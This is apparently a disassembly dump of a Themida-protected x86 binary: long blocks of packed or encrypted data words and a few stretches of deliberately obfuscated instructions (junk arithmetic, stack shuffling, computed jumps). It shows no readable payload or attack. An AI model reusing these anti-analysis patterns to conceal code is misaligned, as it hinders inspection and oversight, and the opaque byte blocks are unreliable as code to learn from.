dd 0CD85D3F7h, 64F559E9h, 0A4C9B25h, 2BA7D6B6h, 0F40A8A9Fh
dd 5D61F091h, 0F0EF7ECAh, 8A9F217Dh, 43ABEA0Ah, 6B4134C5h
dd 87DA8801h, 0C0A9E5C5h, 0E4C6E9C6h, 2E6FFE54h, 6FF267A6h
dd 6AAB107Bh, 0E666F7DBh, 0FD8E0457h, 7350362Bh, 683E8F02h
dd 0AF02480Ah, 0FCDEFC9Dh, 7052E369h, 714E6DDBh, 643BA2FCh
dd 882A6BFEh, 1CCB1533h, 7D35C648h, 8682202Ch, 77D5685Bh
dd 0E9C6A7E6h, 552A4174h, 0A5BBA04h, 0F8D775C8h, 0F91107CFh
dd 428A0F44h, 0C643ADA3h, 409FE702h, 41F178CDh, 5BE9F1FEh
dd 462766F7h, 0D5634768h, 2247737Dh, 42684764h, 62B995EDh
dd 0D957014Fh, 32D130B8h, 0EFF82591h, 46F4C6C8h, 8F4B94C5h
dd 0A9983F2Bh, 3AA7317Eh, 0F5488ADBh, 517757h, 0E2CC1E86h
dd 0F3925550h, 0B5EB1362h, 29B7EBE4h, 0A3361829h, 66F751E6h
dd 0D3F74627h, 1A7BCA82h, 0C6AF4CC6h, 0D68CFD75h, 0C7E9C983h
dd 4387D676h, 587F5CF4h, 0CBB89858h, 1AC913E2h, 832FCC46h
dd 0AD295C32h, 76EB649Eh, 0E2093251h, 0A6C70E03h, 70C1E7C7h
dd 0C508DDCh, 0EE000000h, 0CFA2DDC2h, 4F967B6Ah, 0BD4F1185h
dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h
dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah, 5E08950h
dd 4, 8704E883h, 895C2404h
; ---------------------------------------------------------------------------
add al, 24h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], eax
push 4486h
mov [esp], esi
mov esi, 606B0595h
sub esi, 56121E24h
and esi, 9F44F15h
dec esi
inc esi
neg esi
sub esi, 0F196C49Ch
mov edi, esi
pop esi
push 288Fh
mov [esp], esp
add dword ptr [esp], 4
pop eax
sub esp, 4
mov [esp], edi
add dword ptr [esp], 398680Fh
pop dword ptr [eax+8]
sub dword ptr [eax+8], 398680Fh
push dword ptr [esp]
pop eax
add esp, 4
mov edi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_58442C
; ---------------------------------------------------------------------------
dd 0F1ABF736h, 2E96C670h
db 66h, 0D1h
; ---------------------------------------------------------------------------
loc_5DCB86: ; CODE XREF: Themida_:loc_5DB66Ej
mov eax, 6190802h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0Eh
dd 7A199520h, 112D43D9h, 0CA5BDC76h, 0B546106h, 583BD35Ch
dd 9044A22h, 7D273248h, 0A17A5AC9h, 130E2E31h, 7C52826Fh
dd 1F61FAEEh, 32489C32h, 844EA704h, 993E8A0Bh, 792AFCDCh
dd 7022561Dh, 0DE08DE74h, 0E9342157h, 2Ah, 2347DA2Eh, 2540000h
dd 8 dup(0)
dd 70E90000h, 6800000Ch, 6190AF4h, 0FB3E3FE9h, 0C1468FFh
dd 35E90619h, 68FFFB3Eh, 6190D90h, 0FB3E2BE9h, 0E7368FFh
dd 21E90619h, 68FFFB3Eh, 6190F2Dh, 0FB3E17E9h, 110B68FFh
dd 0DE90619h, 68FFFB3Eh, 61911CBh, 0FB3E03E9h, 130468FFh
dd 0F9E90619h, 68FFFB3Dh, 6191427h, 0FB3DEFE9h, 0B7F812FFh
dd 6B4499C9h, 0BCEF0D75h, 6F409EC6h, 1F806111h, 83190DC1h
dd 335F415Eh, 79E9D7D4h, 2B574962h, 0EA04DECDh, 0E132A626h
dd 1D0A428Dh, 4A6177F0h, 0CEDDFB89h, 0E641DBF4h, 3E3E6672h
dd 0EA88883Eh, 0DF6AA238h, 0AD3EA180h, 89637B7Bh, 53DBE7D8h
dd 0C0BC1523h, 0BD79B158h, 7325A038h, 63C58119h, 6E569B4Dh
dd 33F21F90h, 7A5EB683h, 22087731h, 461AA919h, 204048CBh
dd 15000000h, 79DD48D2h, 0A1BDEAD1h, 6DA6D83Eh, 783CE94Fh
dd 8D56F4BDh, 0CA24EE1Dh, 113B448h, 77610000h, 96CE4A61h
dd 1B9F1337h, 2C25B33Dh, 0AD663998h, 6EEAC117h, 91A708E6h
dd 11B45440h, 6E5F2A6Dh, 18F4E097h, 7B6B5593h, 1B2F913h
dd 9056F17h, 0B1F34494h, 0F6A9E1F7h, 54449404h, 0D989F7B4h
dd 74ACACFFh, 2324EFh, 604BA014h, 0AC4390AAh, 279F9792h
dd 3EA12E24h, 0E868D012h, 9D5D9609h, 0C1E1059Bh, 6678C45h
dd 60CCF894h, 0FAAC02B4h, 839DD268h, 3518B0A8h, 23C74D22h
dd 416175E1h, 2D9B683h, 0E7F779A9h, 5C850D2Bh, 0A03BD343h
dd 80F4C60Bh, 3B8F4467h, 7F93839Dh, 43889D07h, 89396BB7h
dd 67797063h, 0F51DBB1Dh, 7B16930Ch, 0A871003Fh, 0A020A7Fh
dd 8F6B0000h, 3BD2C220h, 86660E74h, 37C7BB25h, 775A0A78h
dd 1006BA28h, 584A557Ch, 2E0CB2Ch, 50327992h, 0F9E7C424h
dd 39AB1BE3h, 0F428DE2h, 5A77EB12h, 0D1275B45h, 0B1623DA4h
dd 0FB6DDD59h, 0D14494E8h, 0F9DD598Fh, 94E8E751h, 95343544h
dd 0ABC0A560h, 0CD53E517h, 0F748D2E6h, 5A21DE17h, 0C63278D7h
dd 9400AF4Eh, 3D7D3679h, 746BDBBBh, 523EA1F5h, 1FF82810h
dd 7B30CB28h, 7F608436h, 0A47D113h, 346B96FEh, 5DAD4B7Fh
dd 0BD790DE7h, 0BB8F5C02h, 0C0F1AE53h, 3B7833D4h, 4BAF497Fh
dd 48CB15BCh, 68DC6C68h, 60BD7901h, 0B4761C1Eh, 92000000h
dd 13C0DF02h, 773221B7h, 0FB894A61h, 327993D6h, 1E413B78h
dd 0EC4494E5h, 51419F0Ch, 30BFF4B7h, 0AB1B1B16h, 0C15E25A0h
dd 616E5496h, 0E8EC6CC7h, 0F460E8ECh, 0C4BD7806h, 69E0A82h
dd 566EBD78h, 0B88E96C8h, 44D614CFh, 4CDF34C8h, 38D0C4C7h
dd 0B7421BCCh, 0D8408ABCh, 3ED09938h, 19493771h, 59E2E7B8h
dd 8670FFD2h, 8E21C9Dh, 6F8B0000h, 0DB326240h, 6686EED4h
dd 0D7275B45h, 577AEAD8h, 0F0665A48h, 0B82A755Ch, 22802BCCh
dd 0B0129972h, 198724C4h, 0D94BBBC3h, 0AF428DE4h, 0E3FB8BB2h
dd 0CD06ED6Ah, 88634F90h, 547D1523h, 0CB2D554Bh, 0FBD302E0h
dd 0E8056F17h, 0B1F34494h, 0EC0DEB27h, 94E8E85Ch, 6C9EE044h
dd 0BABB1DA7h, 71498A21h, 0EA744937h, 0CC2FD73Fh, 3E3EA1F7h
dd 146B25Ah, 0F436BD78h, 0BC3E6180h, 0E7DD1648h, 3C289A11h
dd 0EAE20F9Ch, 44A22253h, 43172492h, 2E4DB74Fh, 93B3632h
dd 6645A3EFh, 0E7048C7Ch, 1DBB0FC4h, 8A6213F5h, 1E1AF021h
dd 322E3AAEh, 1AD01236h, 2E7CE3D9h, 825A3632h, 0F5DCE829h
dd 0EAC69AAh, 0EAA82345h, 3C6F89E1h, 0F1BA1E46h, 0D2E0DD05h
dd 88E750A4h, 0E06B6172h, 69760F7h, 0D5338B58h, 6078ECD6h
dd 0CF59864Bh, 1154F464h, 74C079Ch, 0AC5E4D9Fh, 949FA936h
dd 0A3E924A4h, 0D4F5232h, 0D471E8E4h, 886C2214h, 0FBB8F308h
dd 5F361DD9h, 60AA58A4h, 0C73704DAh, 0D7A6EB38h, 4C45Eh
dd 93FB3700h, 9880316Eh, 94E884F0h, 78327444h, 4BCDE2FCh
dd 94E855BFh, 0F8B52B44h, 3D9B4494h, 0CFBB6B1Ch, 50F19BC3h
dd 374A770Fh, 6B4BC133h, 7385B7BBh, 6B4BA117h, 0B5700ABBh
dd 61C6C941h, 0C848C15Eh, 265E7C2Fh, 0B0614AAEh, 621B905Ah
dd 0B7771558h, 766ED8Ch, 0F3070000h, 3F9EC6BCh, 8A621270h
dd 3BD3BF21h, 7B660E74h, 1C12BE24h, 643E6180h, 0EED4D730h
dd 5C466586h, 0E5DBD028h, 2D972FD7h, 1B428DE5h, 6177E72Eh
dd 0F7F894Ah, 4A617BFEh, 3A773189h, 0AFF9B24Ah, 0B93A4429h
dd 0D73F8922h, 0ABE1F72Fh, 0A921353Eh, 0BD721F3Fh, 6748A50Dh
dd 809A50AAh, 58718C04h, 0A2EC238Eh, 6FA466B0h, 0EBC0179Bh
dd 2216D426h, 9D5655B2h, 0A145DB5Dh, 45D3DC31h, 375136DCh
dd 0F58CFCFCh, 13C74738h, 447DEDD1h, 2D66E07Ch, 0A8201813h
dd 7AD381F5h, 9A637D7h, 9CE8F2C8h, 8666EE6Ah, 589219EFh
dd 78D95F9Bh, 0E652DD67h, 0FE8C5B66h, 0BB1DB500h, 0F107C3F0h
dd 67E74F91h, 0B61E1A91h, 61995A51h, 0CCE355F5h, 0A7D97CD8h
dd 85630F91h, 302A526h, 6C57B575h, 6834Dh, 9F10EA00h, 0F3BC5141h
dd 0A407E58Dh, 0F7B8563Eh, 0A7F8D989h, 0FB918539h, 0ABD7C9D6h
dd 11815F4Ch, 0A3CFB1FAh, 627C6645h, 0E6BA2E9Eh, 9592428Dh
dd 0DD48D268h, 7203D979h, 27E3108Fh, 0C73F57E1h, 3EA1F754h
dd 0A133E022h, 76AF6447h, 64FEFBC8h, 1056F17h, 7BF3BD78h
dd 66A44D62h, 0B2F266A4h, 0EF4A3544h, 69E1553Bh, 0BD7834FFh
dd 997D9BCDh, 4D2B8EF1h, 483A6CC7h, 9CDD30A0h, 9E3C6E41h
dd 4D2DF66Eh, 2D6ADEB7h, 0B3CDB74Dh, 0AE088078h, 5ACD7224h
dd 64D1EB28h, 0E6A95453h, 0D9E89DBEh, 6015ADFEh, 4CC05A26h
dd 80643C3h, 38823C5h, 6AE9B156h, 0C9E1D8C3h, 0A4000005h
dd 0B776946h, 0AFE3BDF2h, 744E5Dh, 0B3DFC1EEh, 3F6F514Eh
dd 0FBA44DCFh, 0B1FADD85h, 6348A3CFh, 0B8F3157Dh, 7C0CF4CAh
dd 428DE708h, 0D2BA0300h, 5754A748h, 8125A591h, 773EABE1h
dd 0FEB3F80Fh, 1F06721Ah, 0B4F6BD72h, 95FFB4F6h, 754A3873h
dd 39142E5h, 1252C6E5h, 0D37BFE53h, 5BC55303h, 19DAD127h
dd 0B55E4DABh, 0B0203418h, 0E95B4F5Ch, 0DFBD7250h, 0F8C19B9Dh
dd 0F36348A0h, 50FD67DFh, 0FDDBBD72h, 0BDC505AEh, 0B5EA078Bh
dd 0E63CBEFCh, 0C0485766h, 1A2FB48h, 0D2C80000h, 5D79DD48h
dd 0E867D179h, 89654494h, 950DED26h, 0DE6F466Dh, 0DA10BC5Ch
dd 2BADFEDAh, 0A1B884DFh, 8330723Eh, 9F098195h, 0CDBD79D9h
dd 339441D0h, 95FD8545h, 64763477h, 793FB228h, 0EAF797BDh
dd 60D853EDh, 4C2C8DE8h, 76637BC7h, 3119FA36h, 347639D5h
dd 80580C76h, 0FADEE62Bh, 8849567Bh, 60807832h, 0FE575913h
dd 48DA606Fh, 0D642ED77h, 0F1BA52C2h, 9CF00AC0h, 0CD7BFA09h
dd 0DDB84B93h, 1FC661A8h, 0BF376919h, 0EAF0BF4Fh, 0DC6DD3E9h
dd 0D278A952h, 0D86A9909h, 1EB65CE0h, 9C1F2B9h, 20A1EFh
dd 0D2720000h, 0D179DD48h, 3EA1BDEAh, 4F6DA6D8h, 0BD783CE9h
dd 1D8D56F4h, 48CA24EEh, 0C8B4h, 61776100h, 0A646CE4Ah
dd 0F6DEF305h, 2F805E0Bh, 0AC4C3879h, 2AC717FFh, 608D2E39h
dd 70D8F9FFh, 0E170E464h, 83584494h, 0D06A9C28h, 0B555A444h
dd 4494E143h, 6C8B0739h, 6317893Fh, 4494EC38h, 0DFC1EA0Eh
dd 32479737h, 0EC1ED3DCh, 49D31C1Eh, 465E7ADEh, 59E134D5h
dd 0F0DC1335h, 880C70F4h, 0F654B842h, 0F23EA061h, 29C848B0h
dd 79580C76h, 5DDEA526h, 406B7713h, 3EB49h, 47688200h
dd 0DBD42959h, 4C5F7DE5h, 0DFD02E56h, 2F709101h, 73E95D51h
dd 0C3AF118Eh, 69198724h, 0BBA71992h, 9A348E1Dh, 0F9E256F6h
dd 0EDDA428Dh
dd 0F5A77A0h, 88FAB0FFh, 47AFFCDCh, 8B1C6D17h, 6480AA46h
dd 0DCD052A2h, 5CC6541Bh, 7893FB69h, 23D0DBFDh, 7B1721E7h
dd 2FA54E5Dh, 0C5F0D2D9h, 9568096Fh, 6899FF44h, 48D2BB6Bh
dd 0ED5D79DDh, 0BB6B687Bh, 0D090F51h, 8CE0D909h, 0D9BDB9Ch
dd 0FE5216F5h, 667480B8h, 54B38026h, 0FD1078C1h, 0FFC901B2h
dd 0BA5246D2h, 0BD72A14Eh, 1EE0C3Eh, 0BC4CCC67h, 0C747A019h
dd 39AB1B0Fh, 1FB747A0h, 0A0E2E2C9h, 26A4616Ah, 0E3970FCh
dd 32B7Bh, 7A84200h, 9B14E999h, 0C9F3D25h, 9F10EE96h, 0EFB05141h
dd 0B3291D91h, 36F514Eh, 0A9D9C7E4h, 0FB675952h, 0DAF4CEDDh
dd 0F9229636h, 2D1A428Dh, 4A6177E0h, 0F3937F89h, 4494E881h
dd 5FB34577h, 2FC02289h, 3A1E1A15h, 94E82692h, 3F9E1644h
dd 41874370h, 0DC67DFB7h, 0AA3EA1F6h, 0C503AC42h, 208700Ch
dd 3515BD78h, 5108582Ch, 9F2F89F5h, 627242ADh, 408AE2CAh
dd 0EFB342BAh, 43D748CAh, 0AC000000h, 327993FBh, 72BDC7A8h
dd 8EFA9286h, 7E4494E8h, 0EEEAAE4Ch, 0E92A8166h, 9C830711h
dd 6A3EA1BDh, 9B017B38h, 86BD783Ch, 5E1BF262h, 6177317Ah
dd 7A1AEEFBh, 4AB24857h, 48CA24BBh, 0BEDFh, 93FBB400h
dd 0CFDCFC79h, 3622D819h, 94E82296h, 52E81A44h, 0B94F26C2h
dd 0D09C1F2h, 94E80B7Dh, 9BF0144h, 8A15BCC8h, 0E9D3B49h
dd 0E019EFE5h, 94E8FC68h, 509ACC44h, 0E547FA72h, 23C54494h
dd 8E6A1A88h, 213BF41Dh, 3F7A1206h, 0EDC15E22h, 6EF8C5BBh
dd 0A1B353C3h, 57C74C88h, 628F1CEFh, 5EF662A8h, 0CEB62C73h
dd 20EF7C23h, 0D570FFFEh, 1F2CFEAh, 5F7B0000h, 0EB027250h
dd 56B6DEC4h, 0E7F76B55h, 47AADAC8h, 0C0366A58h, 88FAA54Ch
dd 0D2B0FBDCh, 806249A2h, 0C9B7F414h, 97B0BF3h, 0FF428DFBh
dd 5A77BB02h, 1EE94A5Fh, 6F39FFB3h, 24876111h, 320A5ABEh
dd 0E6FFAC6Eh, 0D2646F89h, 5D79DD48h, 0E867D179h, 14B54494h
dd 0D8098035h, 0AF497B07h, 0A121645Bh, 0F320623Eh, 798763D9h
dd 13E07EBDh, 0CB9F14A3h, 0FB3A48h, 770B0000h, 0B956461h
dd 6BF4FFDDh, 268392B7h, 5A903A4Ch, 0D9C62B99h, 0F9A418h
dd 0BFD34494h, 9408DD47h, 5F79AB44h, 62D6D533h, 0E041CE42h
dd 0D36546EBh, 0B2C3254Dh, 885F535Ch, 6571E523h, 947A73E5h
dd 1174944h, 2A051FD0h, 0CFA2A2Eh, 0F99B321Eh, 0CC2F2AF3h
dd 91DF9D18h, 94BE8FF9h, 7D4B7D44h, 8F940F7Bh, 40823EA1h
dd 0D84CBCD8h, 0B0BD79CDh, 0A9366C6Eh, 24A4949Fh, 0C74D6231h
dd 0F161D507h, 0FB6DDD10h, 0D1B74396h, 0FB67598Fh, 5AC717D6h
dd 0BADAFEEFh, 0D2EE5A52h, 0ACDEB743h, 18746D5Eh, 56417100h
dd 0CF63h, 733C9E00h, 2788650Dh, 7833C9B9h, 2B845A0Ah
dd 7B24CDB5h, 27A59905h, 77EBD5CAh, 2D554B60h, 8F03DDCEh
dd 7E503279h, 0FC86F29Ah, 7976428Dh, 455A774Ch, 0C523AB5Bh
dd 28C054E6h, 0E8CF39D1h, 8BBD4494h, 9FB3633Dh, 94E8BD27h
dd 0BF598B44h, 14617794h, 0BEFCB5FAh, 1BBDC70Ch, 839D3290h
dd 9218B0A8h, 223EABE1h, 625259B2h, 17F3207Fh, 0D73F8101h
dd 90EE4887h, 7583292Dh, 1B90685Ch, 5A1BBDA5h, 980C7C7Dh
dd 70BD725Dh, 852E7C2Eh, 81156507h, 644BA3E6h, 0E5C625AFh
dd 0D19AB82Ch, 7E4C5F79h, 92EAF767h, 174B3576h, 9B29EAC1h
dd 0D6D53643h, 0E62BDD1Dh, 0F04811BDh, 452D9318h, 7536D2A3h
dd 874C7E3Ch, 3F2h, 5940C300h, 874C6377h, 23D0DBFDh, 0A0515AB1h
dd 1BD8D334h, 9A5748A9h, 1BD8C72Ah, 995A55A9h, 19DAD12Bh
dd 0B45D52ABh
; ---------------------------------------------------------------------------
push edx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edx
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
mov edx, 32992C17h
inc edx
push ecx
mov ecx, 34802583h
xor edx, ecx
pop ecx
push esp
mov ecx, [esp]
add esp, 4
push 281Eh
mov [esp], edx
pop dword ptr [ecx+8]
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_590A54
; ---------------------------------------------------------------------------
cmpsb
inc ebx
push cs
ficom word ptr [edx+1BB88C68h]
adc eax, 0C5030619h
jmp eax
; ---------------------------------------------------------------------------
dd 1424D1Dh, 3190D8A8h, 6F72918h, 60AA64E5h, 7AC0FA32h
dd 79882DA2h, 6ADD31EEh, 44D50340h, 48DDF108h, 4174D687h
dd 1CF64826h, 309DAA41h, 61ED589h, 33F282B6h, 9EE9h, 79175F00h
dd 0F5CC474Fh, 0D138F3BAh, 0ABAFD666h, 4DB2979Fh, 95B7E37Ch
dd 0A9E57200h, 0B69CB5E9h, 0F377609Bh, 0B794A9B6h, 60D7609Eh
dd 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h, 0B98B204Ah, 89937E9Bh
dd 0F496B99Dh, 0A19E96AFh, 0A7D6B594h, 0D100FD91h, 594ACC48h
dd 713C33h, 57DB4D52h, 0B6005EF3h, 899DBBEFh, 899500BDh
dd 0BBEFB69Fh, 0B6D00097h, 7155C3B1h, 0A4370052h, 10D3C20Dh
dd 0E09h, 7 dup(0)
dd 0E9000000h, 10E1h, 1918C568h, 6ABEE906h, 9C68FFFAh
dd 0E9061919h, 0FFFA6AB4h, 191A9168h, 6AAAE906h, 0CC68FFFAh
dd 0E906191Bh, 0FFFA6AA0h, 191C4568h, 6A96E906h, 3168FFFAh
dd 0E906191Dh, 0FFFA6A8Ch, 191DD768h, 6A82E906h, 9F68FFFAh
dd 0E906191Eh, 0FFFA6A78h, 191F7168h, 6A6EE906h, 8D68FFFAh
dd 0E9061920h, 0FFFA6A64h, 19213968h, 6A5AE906h, 0BE68FFFAh
dd 0E9061922h, 0FFFA6A50h, 19249668h, 6A46E906h, 0A768FFFAh
dd 0E9061925h, 0FFFA6A3Ch, 0DFFF57E3h, 0C5E569F9h, 0D9F951E3h
dd 0CAE868F7h, 0DBFB59E8h, 972647E8h, 0AD3B1DBDh, 902305A5h
dd 0A5381AB8h, 153A07A7h, 0B6CC66E0h, 48FA2F16h, 0FD4BE0C2h
dd 0FC50E1F3h, 0FA4C6E6Dh, 3C840554h, 2685C71Ah, 14401E09h
dd 7B8A5BD4h, 9E46900Ah, 92345910h, 0DF3E0F41h, 0C4E6C715h
dd 0D64D1874h, 0DDBD5CFh, 6CF9DD6Ch, 932589E8h, 0D8112DB7h
dd 0A1DC11AEh, 2A168F68h, 0AB2B5AEBh, 0E70A8B63h, 0ADA33457h
dd 0C597DCCh, 0ABDAF948h, 0A8B642Fh, 0CD3F95F8h, 0CA16833Ch
dd 764254F2h, 0C744CE17h, 0AC28D7A5h, 497F5Ah, 0C2E30000h
dd 0F3FD4BE0h, 0C7E4A2C7h, 8E98B796h, 34058816h, 0BF123817h
dd 2C5DBC8Dh, 0A8A88B2h, 33D21A7Bh, 0A8A88D3h, 0C392C20Fh
dd 1322327Fh, 0FF693FDh, 8DAF4CC6h, 5AAD3ECFh, 0EF77h
dd 0CD5F4800h, 0B4D13F73h, 0C215BF09h, 0B8004EE0h, 0AA094396h
dd 0B4FE588Dh, 46C7109Dh, 5EEBEF7Eh, 0D26367F6h, 27725D7Ah
dd 0A943E543h, 0B496559Fh, 588B2B21h, 109E24E3h, 7452FA4Bh
dd 7251FB4Eh, 0FB17154Dh, 0C81616h, 681E4361h, 0F7466C4Bh
dd 11F4935Dh, 0EA168F01h, 67F654E8h, 0FA548926h, 0C30A8AEDh
dd 83832342h, 0A78B285Eh, 0E4253414h, 8B8EFFDCh, 0D4107557h
dd 450882F3h, 4CD10475h, 55E3E784h, 862D6CFDh, 8D01C4Ch
dd 0DFBEFEh, 0E9C98BDAh, 207AEBCCh, 0E9047514h, 0AB3A1CA4h
dd 6DFC56E6h, 0E475D969h, 0B0A5C4A5h, 79F92B9Dh, 0DBC603AAh
dd 8200000Dh, 9E842234h, 3E64420Ch, 604260EAh, 0FF2181CFh
dd 1104A2B2h, 0F460ED1Eh, 0EE64F4D6h, 0F355EAD0h, 0F05CEDD3h
dd 97C609D2h, 16B6CD3Bh, 0BDB18D04h, 0E4C6E470h, 7DDBFB51h
dd 0E7BADDC2h, 2CD1AA62h, 355198A4h, 3E91B996h, 6FFF5B0Ah
dd 45C8109Eh, 2E2F5E7Bh, 0FF168F53h, 0F3A410D8h, 95C2E961h
dd 958392Dh, 8B581A78h, 0A415710Ah, 0AC49B878h, 0B8205Ah
dd 0BD360000h, 0BF8B1D6Ch, 0FE4B8FDEh, 1760756h, 6E109DB1h
dd 756FC4Ch, 0C91C3E86h, 0ACFD2383h, 4E9391A0h, 49BC9B38h
dd 109DAFCDh, 25587796h, 109DAFA9h, 8CC91372h, 8EB57459h
dd 0EAC84D16h, 0F4D3B3AEh, 75006D81h, 88276610h, 2A7E13A2h
dd 3F614120h, 0ACEF62F2h, 0E579F912h, 0D040B46h, 0D590000h
dd 0F7476949h, 0FF517757h, 0F6456B4Bh, 7567C5Ah, 0F13E6D4Dh
dd 0A7074D9Ch, 0BF1F3381h, 0A4024699h, 81212B7Eh, 0EC6697B8h
dd 0B516B6CDh, 70BD025Ch, 75E8C7E4h, 109DB519h, 3B19A3E2h
dd 0A8A6381Ah, 0B19B2E20h, 0CF0D2D12h, 5BF57BF3h, 40624391h
dd 0B0D160EEh, 6CBDAE28h, 4D7251E0h, 0B8D18C4Bh, 0C11D5094h
dd 8A109E40h, 0EF456A0Bh, 620325C7h, 72C315DFh, 85D5FDDAh
dd 0EFD1FFC9h, 7F5CED5Dh, 0F140085Bh, 0B3064890h, 361C3999h
dd 7796A7A1h, 5576676Dh, 285D7A0Ch, 168FA489h, 0F5987B9Ah
dd 0E1057294h, 0C918ABB6h, 4998BA8Bh, 0AC0B6A0Bh, 0F267BC39h
dd 0C40A3518h, 0EBA35078h, 0D134B13Bh, 0F1644380h, 0CEDE595h
dd 89B53F5Eh, 54892660h, 12DBFA27h, 70527194h, 67506FDDh
dd 282217DEh, 3422AA2Ch, 0DC91BB0Eh, 7C5B01A5h, 0F2623CAh
dd 4E00000Ch, 52785600h, 4A704E00h, 547654F6h, 4B6D4D03h
dd 457856FEh, 203481EAh, 4210A082h, 5FE93E64h, 4408597Fh
dd 3725D66h, 16B6CE87h, 0BD65D950h, 0DCC3E06Ch, 835F5BB5h
dd 0A489889h, 0A602616Bh, 79ECCBBBh, 168F2990h, 0AB8F2C71h
dd 3E92341Ch, 9A96C40Ch, 6598374Fh, 107C1338h, 0DC2D3C61h
dd 478137Eh, 18292BBAh, 99A8A236h, 85700983h, 1339D23Ch
dd 509BB445h, 42EDh, 0E5C25100h, 9DB51670h, 58FA4A10h
dd 5ABB8809h, 4B3B2692h, 0FB24F96Ch, 0B8DD168Eh, 0A4A4371Bh
dd 6579D706h, 20B10A8Ah, 17AC8E2Ch, 5F252031h, 600000Bh
dd 8AFB8F24h, 0A8A6510h, 84D5B4D9h, 0C221BB05h, 6EFF4DE0h
dd 5099A52Fh, 0A29F7270h, 3E5F4A7Bh, 0A599BEA1h, 7BD56684h
dd 0AB246954h, 9E2CE03Ah, 564A910h, 1B3A4CBBh, 0D2331685h
dd 0D7CCDF5h, 0D5F594C0h, 5BEA62F3h, 4D07567Ch, 0C688DAFCh
dd 0C8211DA7h, 67EC21BEh, 44106C03h, 6DC0E2C1h, 1DEFFDFh
dd 6C00128Ch, 65F7DB04h, 1A3C84E5h, 78B485C7h, 47B61571h
dd 0A5CE00Ah, 103F3253h, 2173DCF7h, 0AD44F8Ah, 3D890000h
dd 4797B919h, 2F81A707h, 4695BB1Bh, 3786AC0Ah, 0A18EBD1Dh
dd 7757FD4Ch, 6F4F0351h, 7452F649h, 7151FB4Eh, 9CF66768h
dd 6516B6CFh, 1270122Ch, 53109DB5h, 4B70E06Fh, 0BD69819Fh
dd 9B9721E3h, 0F2634046h, 1684DB95h, 9E842362h, 1F297E0Bh
dd 12232BBBh, 0E3492F3h, 64C091BBh, 3BAA097Dh, 1075C952h
dd 22327FA3h, 95C84D9Ah, 79F5DD20h, 5B93CE5Dh, 200000Ah
dd 1E04A2B4h, 0BEE4C28Ch, 0E0C2E06Ah, 7FA1014Fh, 91842232h
dd 74E06D9Eh, 6EE47456h, 73D56A50h, 70DC6D53h, 17468952h
dd 16B6D0BBh, 0BD310D84h, 6D51E06Ch, 6F5370DCh, 0BDDC6DDDh
dd 4192B433h, 0C71C3E0Fh, 84E56FBEh, 5BF022B5h, 7405856Ah
dd 41E68848h, 3456AA3h, 87DF1920h, 6621783Dh, 83204F41h
dd 531E239h, 0A3780000h, 756902BEh, 1DB2F6A7h, 0BEDFBE8Ah
dd 417BEC21h, 0ED301685h, 0F359ECCEh, 0F45EEED4h, 0BE9C2465h
dd 5D45499Ch, 54B584D0h, 853CA925h, 0FE4ADD0Ah, 0FC212E6Fh
dd 0AB8FCC9Dh, 58A73119h, 0A853CFAh, 1F03C51Ch, 6CADBC8Ch
dd 853CA1FDh, 4A2B6A0Ah, 58F4456Dh, 0DB6AE476h, 0B02532BAh
dd 10762EC9h, 70EE351Ah, 42329826h, 7BEAED7Ah, 472931Fh
dd 91C4A5E8h, 79F6AA2Eh, 6FB59057h, 0EE000009h, 0F2D8F660h
dd 0EAD0EE60h, 0F4D6F456h, 0EBCDED63h, 0E5D8F65Eh, 0C094214Ah
dd 0E270C0E2h, 0FF49DEC4h, 0E468F9DFh, 0A3D2FDC6h, 16B6D227h
dd 0BD85B9F0h, 0FD8F1D6Ch, 942F3AE9h, 1E2F4E7Dh, 8BCF9EFFh
dd 3C43123Ah, 0A58A3DCEh, 0F37E5886h, 7DE5EFAFh, 0A341CBBFh
dd 45627h, 12703B00h, 34109DB5h, 5D7A592Dh, 75769772h
dd 3AAB976Dh, 109E6DE0h, 0BB0564A9h, 855C114Ch, 9C3B5A16h
dd 892923B6h, 273616A7h, 9A6E009h, 0ADBC9021h, 533216A9h
dd 30194C89h, 11107649h, 5D70D98Ch, 0E68579F6h, 8C9EBh
dd 10469400h, 103E90B2h, 0E3C90B2h, 17398AB0h, 104491B7h
dd 3FAC83B2h, 5E4462F2h, 42684CEh, 173999AFh, 1B2886C6h
dd 0D245C134h, 9B0E16B6h, 1CDDC2A7h, 0A47AE421h, 6B0A4695h
dd 6EDE6F61h, 0E26AFBDFh, 0AD1EAC53h, 41DEB17Fh, 3B919A3h
dd 703D0000h, 109DB518h, 7453332Eh, 0B4A82253h, 2C71109Dh
dd 0B5045E8Fh, 48CD109Dh, 0F2225380h, 971684A2h, 0D56520B3h
dd 0C8A9E879h, 85226300h, 7D2E8F9Ah, 0FAC29814h, 48D5FADDh
dd 91C2C040h, 2B7ED018h, 0E9F8121h, 5EA0378h, 22436387h
dd 0BACC1513h, 621E321Dh, 4B3997FAh, 0A4215481h, 6D107542h
dd 2C9FFB6Ah, 25680471h
dd 43821144h, 24C379F5h, 80129h, 480E5C00h, 58F6486Ah
dd 4604587Ah, 5FF14268h, 480C597Fh, 97F43B6Ah, 86AC0A4Ah
dd 9CBE1C36h, 7FA10147h, 0B3C01E2Eh, 0D2DD39ACh, 73A616B6h
dd 0E06CBDCFh, 1507251h, 1F830253h, 0D5F7C191h, 9179C884h
dd 82CC5E44h, 873BD03Ah, 1CB81636h, 0A341EA5Ch, 72EC213Eh
dd 3B109DC1h, 0C8B12DAh, 0AF000000h, 2DAC4h, 71C3E700h
dd 70450FD9h, 109DB518h, 4090332Eh, 6E547312h, 78656FD9h
